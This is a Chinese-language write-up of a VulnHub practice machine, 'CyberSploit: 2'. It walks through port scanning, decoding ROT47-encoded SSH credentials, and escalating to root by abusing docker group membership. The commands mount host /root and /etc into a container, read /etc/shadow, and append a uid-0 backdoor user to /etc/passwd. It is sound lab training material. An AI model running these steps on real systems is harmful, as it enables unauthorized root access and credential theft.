靶机信息
靶机名称:CyberSploit: 2
靶机IP:192.168.12.212
开始
首先进行主机端扫描,探测系统所开放的端口服务
发现系统开了两个端口,22端口为SSH远程连接服务,80对应的是一个http服务。直接访问80的http服务发现一个网页,点击一下页面并没有什么反应,但是发现页面中两个比较奇怪的字符串,怀疑可能是编码加密后的数据。
尝试对数据进行解码,感觉字符串为一种不规则状态,与我们平时生产环境中常见的编码和加密格式有明显区别,猜测可能采用的是比较古老的密码或者ascii位移或字符替换等加密方式。
百度一下,循环位移加密的算法有凯撒密码,然而试用了很多转移数都没有解码成功!!!然后尝试了多种古典密码后ROT47解码成功。
得到了用户名和密码字段的明文信息为:shailendra cybersploit1
使用账号密码远程登陆ssh端口
登录成功后当前用户目录存在一个txt文件,文件内容为docker,id查看用户组发现为docker组,所以尝试利用docker操作进行提权
提权
提权使用一种通用的Docker提权方式
参考连接:http://www.360doc.com/content/19/1122/23/25947829_874875535.shtml
这里引用了网上的介绍:docker运行的所有命令都是需要sudo来运行,那是因为docker需要root权限才能跑。Docker监护进程有一个特性,它能被允许访问root用户或者是在docker组里面的所有用户。这就意味着,有docker 组的权限就如同获取到root的访问权,而且不需要知道密码。
首先,我们使用当前用户先拉取一个镜像:
docker pull alpine
接着把它运行起来,尝试映射一下宿主机/root目录到docker中进行操作:docker run -v /root:/mnt -it alphine
使用“-v”参数创建一个磁盘卷给这个docker实例,以下将宿主机的/root目录挂载到这个docker实例中的/mnt目录。
“-it”表示运行命令后直接进入交互式shell界面,而非后台运行。
成功启用docker镜像以后,进入/mnt目录查看flag.txt文件,拿到flag:
拓展操作:提权至root用户组
可以加载其它的系统目录来实现提权的目的;试试把/etc/目录挂载进去,操作操作shadow还有passwd,加入一个特权用户。
docker run -v /etc/:/mnt -it alphine
cd /mnt
cat shadow
现在我们拿到了shadow文件的密码hash,尝试使用john进行爆破
一般爆破密码是时间成本是特别高的,所以我们还是继续创建用户操作
用openssl,指定salt,填上密码,造一个格式一样的shadown项出来
openssl passwd -1 -salt obj
然后把系统用户数据追加到passwd文件中
echo 'obj:$1$obj$.T7iHVeGDPbqID70t2OMT1:0:0::/root:/bin/bash' >> passwd
tail passwd
然后退出docker系统,切换至我们添加的用户,最后直接尝试远程登录,登录成功
知识点总结:
nmap信息探测
数据分析,解密
远程连接查看用户信息
创建docker镜像,宿主机资源目录映射
操作passwd文件添加用户提权操作
原文始发于微信公众号(陆吾安全攻防实验室):vulnhub靶机-CyberSploit: 2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论